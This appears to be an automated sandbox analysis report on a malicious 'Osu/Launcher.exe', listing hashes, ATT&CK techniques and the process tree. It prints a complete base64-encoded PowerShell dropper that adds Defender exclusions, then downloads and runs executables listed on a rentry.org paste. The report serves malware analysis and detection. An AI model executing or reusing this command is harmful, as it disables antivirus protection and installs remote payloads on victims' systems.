9d0eef3560fd3b6f9207a21206c4f4337b07bff2cf082869c87bdc1ddd6d2e89

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
21-05-2024 14:48

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General

Target

Osu/Launcher.exe
Size

7KB
MD5

eee2a79d3170f463e9697ddb8b97d41e
SHA1

818c82b1743c91f423c92742b54355b2058ff417
SHA256

a4569f2cabda528425ec397aef16d6f8fc15ca94664f6f98d738d0b3dc570b41
SHA512

139b6366a088d9aaa055fae4c7853c872fe4a31dfb7dc8e3961f144db0d712342fd4e9ef6f20e5f3cbb225a4f23c3ed24e55d144f9342398e8305f54a327d5ea
SSDEEP

192:nx92qvjK3xszfzzztCbxbsIcaqcINv/DvxIcaBlNtUqKwceNdM:x91v4O5CbxbbcaqcIND6cazNt/BcebM

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/pancek61111111111111/raw

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

3 1788 powershell.exe
4 1788 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1788 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1788 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1788 powershell.exe

flow	pid	process
3	1788	powershell.exe
4	1788	powershell.exe

pid	process
1788	powershell.exe

pid	process
1788	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1788	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

Launcher.exe

description	pid	process	target process
PID 2472 wrote to memory of 1788	2472	Launcher.exe	powershell.exe
PID 2472 wrote to memory of 1788	2472	Launcher.exe	powershell.exe
PID 2472 wrote to memory of 1788	2472	Launcher.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\Osu\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Osu\Launcher.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdAB6AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbABiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaAByAGQAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHAAYQBuAGMAZQBrADYAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbAB0AHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAHkAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcQBuAHUAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABpAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AZwB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB4AG4AbAAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1788-6-0x0000000002DD0000-0x0000000002E50000-memory.dmp

Filesize
512KB

Download
memory/1788-7-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/1788-8-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/1788-9-0x0000000002DD0000-0x0000000002E50000-memory.dmp

Filesize
512KB

Download
memory/2472-0-0x000007FEF5483000-0x000007FEF5484000-memory.dmp

Filesize
4KB

Download
memory/2472-1-0x0000000000D40000-0x0000000000D48000-memory.dmp

Filesize
32KB

Download